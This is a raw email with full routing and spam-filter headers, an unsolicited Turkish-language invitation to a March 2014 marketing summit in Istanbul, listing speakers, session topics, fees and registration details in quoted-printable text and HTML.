Thu, 13 Mar 2014 18:15:43 -0700 (PDT) X-ASG-Debug-ID: 1394759737-04cbb054b933e330001-NocioJ Received: from server.jhdf.com (200.101.123.37.salay.com.tr [37.123.101.200]) by cuda.sgi.com with ESMTP id sB03huQAjlFyIvDA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Mar 2014 18:15:38 -0700 (PDT) X-Barracuda-Envelope-From: jghm@cgyy.org X-Barracuda-Apparent-Source-IP: 37.123.101.200 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=cgyy.org; s=default; h=Date:MIME-Version:Content-Type:To:Subject:From; bh=M+XKvwB3MDauve9CNYxz70h74XIsbwHUzmrKYYaK4MU=; b=a5yrzffSvQq2fStkdeI1zBV4sCnBZL0cZ7FWHgoGOHIwRBubt64Bcfq6flSKUXw7socpZ3pXh8av0EQR2m4dbtOgsIA1DekH4cDxtebTL05ZGaRe8s+BDFiiOXv4D+MautByD8V5nvCypNrZUReksuEH+xLAYYxewMyZCJiul6E=; Received: from [37.123.101.195] (port=51104 helo=195.101.123.37.salay.com.tr) by server.jhdf.com with esmtpa (Exim 4.82) (envelope-from ) id 1WOGim-0004et-DT for xfs@oss.sgi.com; Fri, 14 Mar 2014 03:15:36 +0200 From: "Tansu Darahan" Subject: =?utf-8?B?UGF6YXJsYW1hIETDvG55YXPEsW7EsW4gR2VsZWNlxJ9pLCBZZW5pIEthdnJhbWxhciwgSGl0IFV5Z3VsYW1hbGFyLCBUZWtub2xvamlrIFNpaGlyYmF6bMSxa2xhciB2ZSBUcmVuZCBLb25zZXB0bGVy?= To: "xfs" X-ASG-Orig-Subj: =?utf-8?B?UGF6YXJsYW1hIETDvG55YXPEsW7EsW4gR2VsZWNlxJ9pLCBZZW5pIEthdnJhbWxhciwgSGl0IFV5Z3VsYW1hbGFyLCBUZWtub2xvamlrIFNpaGlyYmF6bMSxa2xhciB2ZSBUcmVuZCBLb25zZXB0bGVy?= Content-Type: multipart/alternative; boundary="nvVQ4uhIQsoQFXK98UjkNcsLQrB=_gTMQz" MIME-Version: 1.0 Organization: Tansu Darahan Date: Thu, 13 Mar 2014 18:15:38 -0700 Priority: urgent X-Priority: 1 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server.jhdf.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - cgyy.org X-Get-Message-Sender-Via: server.jhdf.com: authenticated_id: jghm@cgyy.org X-Barracuda-Connect: 200.101.123.37.salay.com.tr[37.123.101.200] X-Barracuda-Start-Time: 1394759738 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_MESSAGE, MISSING_MID, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS Message-Id: <20140314011543.C25221B800D@cuda.sgi.com> This is a multi-part message in MIME format --nvVQ4uhIQsoQFXK98UjkNcsLQrB=_gTMQz Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =EF=BB=BFHaftan=C4=B1n SeminerleriMerhaba=20 =20 22 Mart 2014=E2=80=99te Le Meridien Etiler Otel=E2=80=99de d=C3=BCzenl= enecek olan =E2=80=9CModern Pazarlama ve Vizyoner Stratejiler" isimli = zirvemiz pazarlama alan=C4=B1nda =C3=A7al=C4=B1=C5=9Fan ya da pazarlam= aya ilgi duyan, =C3=BCr=C3=BCn ve hizmetlerini mevcut klasik y=C3=B6nt= emlerle pazarlayan, bunun yan=C4=B1nda teknolojiden yararlanarak kar e= lde etmenin teknikleri arayan herkesin ilgisini =C3=A7ekecek bir zirve= =2E.. =20 Bu zirveye kat=C4=B1larak ge=C3=A7mi=C5=9Ften g=C3=BCn=C3=BCm=C3=BCze = pazarlama d=C3=BCnyas=C4=B1n=C4=B1n geli=C5=9Fimine farkl=C4=B1 bir pe= rspektiften bakmak ve trend uygulamalarla pazarlama yeteneklerinizin g= =C3=BCn=C3=BCm=C3=BCz d=C3=BCnyas=C4=B1nda klasik ve g=C3=BCncel strat= ejilere uygun olarak geli=C5=9Fmesini sa=C4=9Flayabilir, saha aktivite= lerinden, pop kullan=C4=B1m=C4=B1na klasik olarak adland=C4=B1r=C4=B1l= an y=C3=B6ntemlerin modernize edilmi=C5=9F en iyi uygulamalar=C4=B1n=C4= =B1 g=C3=B6rebilir, sosyal medya ve dijital d=C3=BCnyan=C4=B1n etkile=C5= =9Fiminden yararlanarak kurumunuzu ve =C3=BCr=C3=BCn=C3=BCn=C3=BCz=C3=BC= n marka de=C4=9Ferini nas=C4=B1l artt=C4=B1raca=C4=9F=C4=B1n=C4=B1zla = ezber bozan teknikleri g=C3=B6rebilir, nihai t=C3=BCketiciyi y=C3=B6ne= tmenin incelikleriyle ilgili sekt=C3=B6r devi olan firmalar=C4=B1n =C3= =BCst d=C3=BCzey y=C3=B6neticilerinden t=C3=BCyolar alabilirsiniz.=20 =20 =20 "Pazarlama D=C3=BCnyas=C4=B1n=C4=B1n Gelece=C4=9Fi, Yeni Kavramlar, Hi= t Uygulamalar, Teknolojik Sihirbazl=C4=B1klar ve Trend Konseptler" MODERN PAZARLAMA ve V=C4=B0ZYONER STRATEJ=C4=B0LER 22 Mart 2014 / 09.00-17.00 / Le Meridien Etiler - =C4=B0stanbul =20 Klasik pazarlamadan dijital pazarlamaya, pop kullan=C4=B1m=C4=B1ndan s= osyal medya y=C3=B6netimine kadar i=C5=9F s=C3=BCre=C3=A7leri markam=C4= =B1z=C4=B1 ve i=C5=9Fimizi desteklemek ve tan=C4=B1tmak amac=C4=B1 ile= kendi platformlar=C4=B1nda birincilik sava=C5=9F=C4=B1 verirken, bunl= ardan global rekabet ihtiyac=C4=B1 do=C4=9Frultusunda yararlanabilen =C5= =9Firketler her zaman bir ad=C4=B1m =C3=B6ne =C3=A7=C4=B1kmaktad=C4=B1rlar. =20 Konu=C5=9Fmac=C4=B1lar: =E2=80=A2 Derya =C5=9EEND=C4=B0L / SANAL MA=C4=9EAZA, ON-NET Genel M=C3= =BCd=C3=BCr=C3=BC =E2=80=A2 Ay=C3=A7a ARSAN AYDIN / COCA COLA =C4=B0=C5=9F Sistemleri M=C3= =BCd=C3=BCr=C3=BC (Pazarlama & Kurumsal =C4=B0leti=C5=9Fim) =E2=80=A2 O=C4=9Fuzhan S=C3=9CRAL / ACIBADEM SA=C4=9ELIK GRUBU =C4=B0=C5= =9F Geli=C5=9Ftirme Direkt=C3=B6r=C3=BC =E2=80=A2 Okan =C3=9C=C3=87OK / BRITISH AMERICAN TOBACCO, Group Shoppe= r Marketing Manager =E2=80=A2 Hakan OKAY / BAH=C3=87E=C5=9EEH=C4=B0R =C3=9CN=C4=B0VERS=C4=B0= TES=C4=B0 =C3=96=C4=9Fretim G=C3=B6revlisi, E=C4=9Fitmen, Yazar =E2=80=A2 Ekin ULUK=C3=96K / TURKCELL GLOBAL B=C4=B0LG=C4=B0 Dijital =C4= =B0leti=C5=9Fim ve Sosyal Medya M=C3=BCd=C3=BCr=C3=BC =E2=80=A2 =C3=96zg=C3=BCr POYRAZO=C4=9ELU / SODAMEDYA INTERACTIVE Kuru= cu ve Y=C3=B6netim Direkt=C3=B6r=C3=BC, =E2=80=A2 Salih Se=C3=A7kin SEV=C4=B0N=C3=87 / DAHA BA=C5=9EKA D=C4=B0= J=C4=B0TAL AJANS, Kurucu Orta=C4=9F=C4=B1, Yazar =E2=80=A2 Av.Ceyda C=C4=B0M=C4=B0LL=C4=B0 AKAYDIN / AKAYDIN HUKUK B=C3= =9CROSU =20 Bryan Flanagan =E2=80=98=E2=80=99Sat=C4=B1=C5=9F basit bir i=C5=9Ftir=E2= =80=9D der... Peki ya Pazarlama? =20 =E2=80=A2 Modern pazarlamada ya=C5=9Fanan de=C4=9Fi=C5=9Fimin, teknolo= jiyi de i=C3=A7ine alarak dalga dalga b=C3=BCy=C3=BCd=C3=BC=C4=9F=C3=BC= ve g=C3=BCndemin ba=C5=9Fk=C3=B6=C5=9Fesine her g=C3=BCn yeni bir sol= uk getirerek oturdu=C4=9Fu g=C3=B6z =C3=B6n=C3=BCne al=C4=B1nd=C4=B1=C4= =9F=C4=B1nda art=C4=B1k, klasik y=C3=B6ntemleri rafa kald=C4=B1rmak bi= r gereklilik halini ald=C4=B1 m=C4=B1? =E2=80=A2 Pazarlama, fikirleri yaymakla ilgili oldu=C4=9Funa g=C3=B6re= , ba=C5=9Far=C4=B1l=C4=B1 pazarlamac=C4=B1lar t=C3=BCketicilerin inanm= ay=C4=B1 tercih ettikleri hik=C3=A2yeleri onlara sunmakla m=C4=B1 m=C3= =BCkellefler? =E2=80=A2 =E2=80=9C=C3=9Cr=C3=BCn ve hizmetlerle sosyal medyada yer al= mak, klasik y=C3=B6ntemlerin =C3=B6tesinde renkli bir d=C3=BCnya sa=C4= =9Fl=C4=B1yor=E2=80=9D deniliyor ama t=C3=BCm t=C3=BCketiciler klasik = y=C3=B6ntemleri b=C4=B1rakmaya kararl=C4=B1 m=C4=B1?=20 =E2=80=A2 Sosyal Medya ve Dijital D=C3=BCnya bizi ve zaman=C4=B1m=C4=B1= z=C4=B1 nas=C4=B1l y=C3=B6netiyor, bu mecralardan =C3=BCr=C3=BCn ve hi= zmetlerimiz i=C3=A7in nas=C4=B1l yararlan=C4=B1r=C4=B1z? =E2=80=A2 "Pazarlama interaktiftir=E2=80=9D s=C3=B6ylemi, ba=C5=9Fl=C4= =B1 ba=C5=9F=C4=B1na pazarlaman=C4=B1n ta kendisi mi? =E2=80=A2 Pazarlamada kitlelere temas=C4=B1n =C3=B6nemi giderek artark= en, mevcut ve potansiyel m=C3=BC=C5=9Fterilere dokunup, bire bir temas= kurmak ve deneyim ya=C5=9Fatman=C4=B1n yeni y=C3=B6ntemleri nelerdir?= =E2=80=A2 Maliyetler bu kadar art=C4=B1p, karl=C4=B1l=C4=B1k d=C3=BC=C5= =9Ferken, rekabet d=C3=BCnyas=C4=B1nda ayakta kalman=C4=B1n en stratej= ik yollar=C4=B1 hangileri? =E2=80=A2 =C3=9Cr=C3=BCn ve hizmetlerimizi daha bilinir hale getirmek = m=C3=BCmk=C3=BCn m=C3=BC? =E2=80=A2 Modern d=C3=BCnyada pazarlama ba=C5=9Far=C4=B1s=C4=B1 yahut = ba=C5=9Far=C4=B1s=C4=B1zl=C4=B1=C4=9F=C4=B1 nelere ba=C4=9Fl=C4=B1? =20 G=C3=BCn=C3=BCm=C3=BCzde h=C4=B1zl=C4=B1 geli=C5=9Fen teknolojiler ile= birlikte, pazarlama d=C3=BCnyas=C4=B1nda da yakla=C5=9F=C4=B1mlar de=C4= =9Fi=C5=9Fip, d=C3=B6n=C3=BC=C5=9Fm=C3=BC=C5=9Ft=C3=BCr. Klasik pazarl= amadan dijital pazarlamaya, pop kullan=C4=B1m=C4=B1ndan sosyal medya y= =C3=B6netimine kadar i=C5=9F s=C3=BCre=C3=A7leri markam=C4=B1z=C4=B1 v= e i=C5=9Fimizi desteklemek ve tan=C4=B1tmak amac=C4=B1 ile kendi platf= ormlar=C4=B1nda birincilik sava=C5=9F=C4=B1 verirken, bunlardan ihtiya= c=C4=B1 do=C4=9Frultusunda yararlanabilen =C5=9Firketler, i=C5=9Fin hu= kuki boyutunu da g=C3=B6z =C3=B6n=C3=BCne alabildi=C4=9Fi =C3=B6l=C3=A7= =C3=BCde ba=C5=9Far=C4=B1l=C4=B1 olmaktad=C4=B1r. =20 Pazarlama gibi =C5=9Firketin b=C3=BCy=C3=BCmesini sa=C4=9Flayarak hede= f kitle geli=C5=9Fimini artt=C4=B1ran bir departman ancak marka itibar= =C4=B1n=C4=B1 koruyarak ve sosyal platformlardan etkin bir =C5=9Fekild= e yararlanarak ba=C5=9Far=C4=B1l=C4=B1 olur fikrinin yan=C4=B1nda hen=C3= =BCz bu d=C3=BCnyaya ad=C4=B1m atamam=C4=B1=C5=9F son kullan=C4=B1c=C4= =B1lar i=C3=A7in klasik y=C3=B6ntemlerin g=C3=BCncellenmi=C5=9F haller= ini canl=C4=B1ya almak da vazge=C3=A7ilemez bir stratejidir. Bug=C3=BC= n art=C4=B1k gerek viral ve subliminal y=C3=B6ntemler gerekse pop da=C4= =9F=C4=B1t=C4=B1m=C4=B1 ve aktivite-organizasyon ile sahay=C4=B1 y=C3=B6= netmek pazarlamada vazge=C3=A7ilmezlerimizdir. =20 Bu programda konusunda uzman ve alan=C4=B1nda =C3=BCst=C3=BCn ba=C5=9F= ar=C4=B1lara imza atm=C4=B1=C5=9F konu=C5=9Fmac=C4=B1lar=C4=B1m=C4=B1z= =20 =20 =E2=80=A2 Pazarlama D=C3=BCnyas=C4=B1n=C4=B1n D=C3=BCn=C3=BC Bug=C3=BC= n=C3=BC Yar=C4=B1n=C4=B1,=20 =E2=80=A2 Sosyal Medya ve Dijital Stratejilerin Etkin Kullan=C4=B1m=C4= =B1=20 =E2=80=A2 Pop Kullan=C4=B1m ve Y=C3=B6netiminde Yeni Trendler=20 =E2=80=A2 Saha Aktiviteleri ve Ba=C5=9Far=C4=B1 Ko=C5=9Fullar=C4=B1=20= =E2=80=A2 Bulut =C4=B0leti=C5=9Fimin Kullan=C4=B1m=C4=B1 ve Bulut D=C3= =BCnyas=C4=B1n=C4=B1n Ger=C3=A7ekleri=20 =E2=80=A2 Tutundurma Faaliyetlerinde Yeni Trendler=20 =E2=80=A2 Viral ve Subliminal Mesajlar ile Pazarlama=20 =E2=80=A2 G=C3=B6rsel Tasar=C4=B1m Sihirbazl=C4=B1=C4=9F=C4=B1=20 =E2=80=A2 Facebook, Twitter ve Linkedin, Youtube ve Di=C4=9Fer Sosyal = A=C4=9Flarda Marka Bilinirli=C4=9Fini Artt=C4=B1rma=E2=80=99n=C4=B1n Y= =C3=B6ntemleri ve Pazarlama=20 =E2=80=A2 Arama Motoru Optimizasyonu (SEO) ve Sosyal Medya Optimizasyo= nu=20 =E2=80=A2 Sosyal Medya Stratejileri ve Y=C3=B6ntemler=20 =E2=80=A2 Sosyal Medya =C4=B0leti=C5=9Fimi (Hesap Y=C3=B6netimi, Rekla= m, Kampanya Y=C3=B6netimi, Seeding) =C3=96l=C3=A7=C3=BCm ve De=C4=9Fer= lendirme=20 =E2=80=A2 Pazarlama aktivitelerinde Marka =C4=B0hlali ve Hukuki De=C4=9F= erlendirmeler=20 gibi konulara de=C4=9Finecektir. =20 Kay=C4=B1t Bilgileri: * Kay=C4=B1t ve ayr=C4=B1nt=C4=B1l=C4=B1 bilgi i=C3=A7in Tel : (0216) = 422 93 61 - 62 - 63 =E2=80=93 64 Bosphorus Conferences * Zirve kat=C4=B1l=C4=B1m bedeli 850TL+KDV dir.=20 * Kat=C4=B1l=C4=B1m i=C3=A7in kay=C4=B1t formu doldurulmas=C4=B1 ve ba= nka makbuzu ile taraf=C4=B1m=C4=B1za g=C3=B6nderilmesi gerekmektedir. * =C3=96=C4=9Fle yeme=C4=9Fi, ara ikramlar, kokteyl, e=C4=9Fitim kitap= veya d=C3=B6k=C3=BCmanlar=C4=B1 =C3=BCcrete dahildir.=20 * Programlar=C4=B1m=C4=B1z kontenjanlar=C4=B1m=C4=B1zla s=C4=B1n=C4=B1= rl=C4=B1d=C4=B1r, Kay=C4=B1t i=C5=9Flemlerini web sayfam=C4=B1zdan onl= ine yapabilirsiniz,=20 * Kat=C4=B1l=C4=B1m bedelleri KDV hari=C3=A7 tutarlard=C4=B1r. Grup =C4= =B0ndirim Oranlar=C4=B1: Ayn=C4=B1 Firmadan 3 =E2=80=93 6 Kat=C4=B1l=C4= =B1mda %5, Ayn=C4=B1 Firmadan 6 ve =C3=BCzeri kat=C4=B1l=C4=B1mda %10 = oran uygulanmaktad=C4=B1r. * Zirve organizasyon heyeti m=C3=BCcbir sebepler gerektirdi=C4=9Finde = program mekan=C4=B1n=C4=B1 veya program=C4=B1 de=C4=9Fi=C5=9Ftirme, ip= tal etme veya erteleme hakk=C4=B1n=C4=B1 sakl=C4=B1 tutmaktad=C4=B1r. = =C4=B0ptal halinde =C3=B6denmi=C5=9F olan =C3=BCcretler iade edilir- --nvVQ4uhIQsoQFXK98UjkNcsLQrB=_gTMQz Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =EF=BB=BF<= HEAD>Haftan=C4=B1n Seminerleri

Merhaba

 

22 Mart 2014=E2=80=99te Le Meridien Etiler Otel=E2=80=99de d=C3=BCz= enlenecek olan =E2=80=9CModern Pazarlama ve Vizyoner Stratejiler" isim= li zirvemiz pazarlama alan=C4=B1nda =C3=A7al=C4=B1=C5=9Fan ya da pazar= lamaya ilgi duyan, =C3=BCr=C3=BCn ve hizmetlerini mevcut klasik y=C3=B6= ntemlerle pazarlayan, bunun yan=C4=B1nda teknolojiden yararlanarak kar= elde etmenin teknikleri arayan herkesin ilgisini =C3=A7ekecek bir zir= ve...

 

Bu zirveye kat=C4=B1larak ge=C3=A7mi=C5=9Ften g=C3=BCn=C3=BCm=C3=BC= ze pazarlama d=C3=BCnyas=C4=B1n=C4=B1n geli=C5=9Fimine farkl=C4=B1 bir= perspektiften bakmak ve trend uygulamalarla pazarlama yeteneklerinizi= n g=C3=BCn=C3=BCm=C3=BCz d=C3=BCnyas=C4=B1nda klasik ve g=C3=BCncel st= ratejilere uygun olarak geli=C5=9Fmesini sa=C4=9Flayabilir, saha aktiv= itelerinden, pop kullan=C4=B1m=C4=B1na klasik olarak adland=C4=B1r=C4=B1= lan y=C3=B6ntemlerin modernize edilmi=C5=9F en iyi uygulamalar=C4=B1n=C4= =B1 g=C3=B6rebilir, sosyal medya ve dijital d=C3=BCnyan=C4=B1n etkile=C5= =9Fiminden yararlanarak kurumunuzu ve =C3=BCr=C3=BCn=C3=BCn=C3=BCz=C3=BC= n marka de=C4=9Ferini nas=C4=B1l artt=C4=B1raca=C4=9F=C4=B1n=C4=B1zla = ezber bozan teknikleri g=C3=B6rebilir, nihai t=C3=BCketiciyi y=C3=B6ne= tmenin incelikleriyle ilgili sekt=C3=B6r devi olan firmalar=C4=B1n =C3= =BCst d=C3=BCzey y=C3=B6neticilerinden t=C3=BCyolar alabilirsiniz.

 

 

"Pazarlama D=C3= =BCnyas=C4=B1n=C4=B1n Gelece=C4=9Fi, Yeni Kavramlar, Hit Uygulamalar, = Teknolojik Sihirbazl=C4=B1klar ve Trend Konseptler"<= /SPAN>

MODERN PAZARLAMA ve  = V=C4=B0ZYONER STRATEJ=C4=B0LER

22 Mart 2014 /= 09.00-17.00 / Le Meridien Etiler - =C4=B0stanbul

 

Klasik pazarlamadan dijital pazarlamaya, pop kullan=C4=B1m=C4=B1nda= n sosyal medya y=C3=B6netimine kadar i=C5=9F s=C3=BCre=C3=A7leri marka= m=C4=B1z=C4=B1 ve i=C5=9Fimizi desteklemek ve tan=C4=B1tmak amac=C4=B1= ile kendi platformlar=C4=B1nda birincilik sava=C5=9F=C4=B1 verirken, = bunlardan global rekabet ihtiyac=C4=B1 do=C4=9Frultusunda yararlanabil= en =C5=9Firketler

her zaman bir ad=C4=B1m =C3=B6ne =C3=A7=C4=B1kmaktad=C4=B1rlar.

 

Konu=C5=9Fmac=C4=B1lar:

=E2=80=A2 Derya =C5=9EEND=C4=B0L / SANAL MA=C4=9EAZA, ON-NET Genel = M=C3=BCd=C3=BCr=C3=BC

=E2=80=A2 Ay=C3=A7a ARSAN AYDIN / COCA COLA =C4=B0=C5=9F Sistemleri= M=C3=BCd=C3=BCr=C3=BC (Pazarlama & Kurumsal =C4=B0leti=C5=9Fim)

=E2=80=A2 O=C4=9Fuzhan S=C3=9CRAL / ACIBADEM SA=C4=9ELIK GRUBU =C4=B0= =C5=9F Geli=C5=9Ftirme Direkt=C3=B6r=C3=BC

=E2=80=A2 Okan =C3=9C=C3=87OK / BRITISH AMERICAN TOBACCO, Group Sho= pper Marketing Manager

=E2=80=A2 Hakan OKAY / BAH=C3=87E=C5=9EEH=C4=B0R =C3=9CN=C4=B0VERS=C4= =B0TES=C4=B0 =C3=96=C4=9Fretim G=C3=B6revlisi, E=C4=9Fitmen, Yazar

=E2=80=A2 Ekin ULUK=C3=96K / TURKCELL GLOBAL B=C4=B0LG=C4=B0 Dijita= l =C4=B0leti=C5=9Fim ve Sosyal Medya M=C3=BCd=C3=BCr=C3=BC<= /FONT>

=E2=80=A2 =C3=96zg=C3=BCr POYRAZO=C4=9ELU / SODAMEDYA INTERACTIVE K= urucu ve Y=C3=B6netim Direkt=C3=B6r=C3=BC,

=E2=80=A2 Salih Se=C3=A7kin SEV=C4=B0N=C3=87 / DAHA BA=C5=9EKA D=C4= =B0J=C4=B0TAL AJANS, Kurucu Orta=C4=9F=C4=B1, Yazar<= /SPAN>

=E2=80=A2 Av.Ceyda C=C4=B0M=C4=B0LL=C4=B0 AKAYDIN / AKAYDIN HUKUK B= =C3=9CROSU

 

Bryan Flanagan =E2=80=98=E2=80=99Sat=C4=B1=C5=9F basit bir i=C5=9Ft= ir=E2=80=9D der... Peki ya Pazarlama?

=

 

=E2=80=A2 Modern pazarlamada ya=C5=9Fanan de=C4=9Fi=C5=9Fimin, tekn= olojiyi de i=C3=A7ine alarak dalga dalga b=C3=BCy=C3=BCd=C3=BC=C4=9F=C3= =BC ve g=C3=BCndemin ba=C5=9Fk=C3=B6=C5=9Fesine her g=C3=BCn yeni bir = soluk getirerek oturdu=C4=9Fu g=C3=B6z =C3=B6n=C3=BCne al=C4=B1nd=C4=B1= =C4=9F=C4=B1nda art=C4=B1k, klasik y=C3=B6ntemleri rafa kald=C4=B1rmak= bir gereklilik halini ald=C4=B1 m=C4=B1?

=

=E2=80=A2 Pazarlama, fikirleri yaymakla ilgili oldu=C4=9Funa g=C3=B6= re, ba=C5=9Far=C4=B1l=C4=B1 pazarlamac=C4=B1lar t=C3=BCketicilerin ina= nmay=C4=B1 tercih ettikleri hik=C3=A2yeleri onlara sunmakla m=C4=B1 m=C3= =BCkellefler?

=E2=80=A2 =E2=80=9C=C3=9Cr=C3=BCn ve hizmetlerle sosyal medyada yer= almak, klasik y=C3=B6ntemlerin =C3=B6tesinde renkli bir d=C3=BCnya sa= =C4=9Fl=C4=B1yor=E2=80=9D deniliyor ama t=C3=BCm t=C3=BCketiciler klas= ik y=C3=B6ntemleri b=C4=B1rakmaya kararl=C4=B1 m=C4=B1?

=E2=80=A2 Sosyal Medya ve Dijital D=C3=BCnya bizi ve zaman=C4=B1m=C4= =B1z=C4=B1 nas=C4=B1l y=C3=B6netiyor, bu mecralardan =C3=BCr=C3=BCn ve= hizmetlerimiz i=C3=A7in nas=C4=B1l yararlan=C4=B1r=C4=B1z?=

=E2=80=A2 "Pazarlama interaktiftir=E2=80=9D s=C3=B6ylemi, ba=C5=9Fl= =C4=B1 ba=C5=9F=C4=B1na pazarlaman=C4=B1n ta kendisi mi?

=E2=80=A2 Pazarlamada kitlelere temas=C4=B1n =C3=B6nemi giderek art= arken, mevcut ve potansiyel m=C3=BC=C5=9Fterilere dokunup, bire bir te= mas kurmak ve deneyim ya=C5=9Fatman=C4=B1n yeni y=C3=B6ntemleri nelerd= ir?

=E2=80=A2 Maliyetler bu kadar art=C4=B1p, karl=C4=B1l=C4=B1k d=C3=BC= =C5=9Ferken, rekabet d=C3=BCnyas=C4=B1nda ayakta kalman=C4=B1n en stra= tejik yollar=C4=B1 hangileri?

=E2=80=A2 =C3=9Cr=C3=BCn ve hizmetlerimizi daha bilinir hale getirm= ek m=C3=BCmk=C3=BCn m=C3=BC?

=E2=80=A2 Modern d=C3=BCnyada pazarlama ba=C5=9Far=C4=B1s=C4=B1 yah= ut ba=C5=9Far=C4=B1s=C4=B1zl=C4=B1=C4=9F=C4=B1 nelere ba=C4=9Fl=C4=B1?=

 

G=C3=BCn=C3=BCm=C3=BCzde h=C4=B1zl=C4=B1 geli=C5=9Fen teknolojiler = ile birlikte, pazarlama d=C3=BCnyas=C4=B1nda da yakla=C5=9F=C4=B1mlar = de=C4=9Fi=C5=9Fip, d=C3=B6n=C3=BC=C5=9Fm=C3=BC=C5=9Ft=C3=BCr. Klasik p= azarlamadan dijital pazarlamaya, pop kullan=C4=B1m=C4=B1ndan sosyal me= dya y=C3=B6netimine kadar i=C5=9F s=C3=BCre=C3=A7leri markam=C4=B1z=C4= =B1 ve i=C5=9Fimizi desteklemek ve tan=C4=B1tmak amac=C4=B1 ile kendi = platformlar=C4=B1nda birincilik sava=C5=9F=C4=B1 verirken, bunlardan i= htiyac=C4=B1 do=C4=9Frultusunda yararlanabilen =C5=9Firketler, i=C5=9F= in hukuki boyutunu da g=C3=B6z =C3=B6n=C3=BCne alabildi=C4=9Fi =C3=B6l= =C3=A7=C3=BCde ba=C5=9Far=C4=B1l=C4=B1 olmaktad=C4=B1r.

 

Pazarlama gibi =C5=9Firketin b=C3=BCy=C3=BCmesini sa=C4=9Flayarak h= edef kitle geli=C5=9Fimini artt=C4=B1ran bir departman ancak marka iti= bar=C4=B1n=C4=B1 koruyarak ve sosyal platformlardan etkin bir =C5=9Fek= ilde yararlanarak ba=C5=9Far=C4=B1l=C4=B1 olur fikrinin yan=C4=B1nda h= en=C3=BCz bu d=C3=BCnyaya ad=C4=B1m atamam=C4=B1=C5=9F son kullan=C4=B1= c=C4=B1lar i=C3=A7in klasik y=C3=B6ntemlerin g=C3=BCncellenmi=C5=9F ha= llerini canl=C4=B1ya almak da vazge=C3=A7ilemez bir stratejidir. Bug=C3= =BCn art=C4=B1k gerek viral ve subliminal y=C3=B6ntemler gerekse pop d= a=C4=9F=C4=B1t=C4=B1m=C4=B1 ve aktivite-organizasyon ile sahay=C4=B1 y= =C3=B6netmek pazarlamada vazge=C3=A7ilmezlerimizdir.=

 

Bu programda konusunda uzman ve alan=C4=B1nda =C3=BCst=C3=BCn ba=C5= =9Far=C4=B1lara imza atm=C4=B1=C5=9F konu=C5=9Fmac=C4=B1lar=C4=B1m=C4=B1= z

 

=E2=80=A2 Pazarlama D=C3=BCnyas=C4=B1n=C4=B1n D=C3=BCn=C3=BC Bug=C3= =BCn=C3=BC Yar=C4=B1n=C4=B1,

=E2=80=A2 Sosyal Medya ve Dijital Stratejilerin Etkin Kullan=C4=B1m= =C4=B1

=E2=80=A2 Pop Kullan=C4=B1m ve Y=C3=B6netiminde Yeni Trendler =

=E2=80=A2 Saha Aktiviteleri ve Ba=C5=9Far=C4=B1 Ko=C5=9Fullar=C4=B1=

=E2=80=A2 Bulut =C4=B0leti=C5=9Fimin Kullan=C4=B1m=C4=B1 ve Bulut D= =C3=BCnyas=C4=B1n=C4=B1n Ger=C3=A7ekleri

=

=E2=80=A2 Tutundurma Faaliyetlerinde Yeni Trendler

=E2=80=A2 Viral ve Subliminal Mesajlar ile Pazarlama

=E2=80=A2 G=C3=B6rsel Tasar=C4=B1m Sihirbazl=C4=B1=C4=9F=C4=B1

=E2=80=A2 Facebook, Twitter ve Linkedin, Youtube ve Di=C4=9Fer Sosy= al A=C4=9Flarda Marka Bilinirli=C4=9Fini Artt=C4=B1rma=E2=80=99n=C4=B1= n Y=C3=B6ntemleri ve Pazarlama

=E2=80=A2 Arama Motoru Optimizasyonu (SEO) ve Sosyal Medya Optimiza= syonu

=E2=80=A2 Sosyal Medya Stratejileri ve Y=C3=B6ntemler

=E2=80=A2 Sosyal Medya =C4=B0leti=C5=9Fimi (Hesap Y=C3=B6netimi, Re= klam, Kampanya Y=C3=B6netimi, Seeding) =C3=96l=C3=A7=C3=BCm ve De=C4=9F= erlendirme

=E2=80=A2 Pazarlama aktivitelerinde Marka =C4=B0hlali ve Hukuki De=C4= =9Ferlendirmeler

gibi konulara de=C4=9Finecektir.

 

Kay=C4=B1t Bilgileri:

* Kay=C4=B1t ve ayr=C4=B1nt=C4=B1l=C4=B1 bilgi i=C3=A7in Tel : (021= 6) 422 93 61 - 62 - 63 =E2=80=93 64 Bosphorus Conferences

* Zirve kat=C4=B1l=C4=B1m bedeli 850TL+KDV dir. <= /SPAN>

* Kat=C4=B1l=C4=B1m i=C3=A7in kay=C4=B1t formu doldurulmas=C4=B1 ve= banka makbuzu ile taraf=C4=B1m=C4=B1za g=C3=B6nderilmesi gerekmektedi= r.

* =C3=96=C4=9Fle yeme=C4=9Fi, ara ikramlar, kokteyl, e=C4=9Fitim ki= tap veya d=C3=B6k=C3=BCmanlar=C4=B1 =C3=BCcrete dahildir. <= /FONT>

* Programlar=C4=B1m=C4=B1z kontenjanlar=C4=B1m=C4=B1zla s=C4=B1n=C4= =B1rl=C4=B1d=C4=B1r, Kay=C4=B1t i=C5=9Flemlerini web sayfam=C4=B1zdan = online yapabilirsiniz,

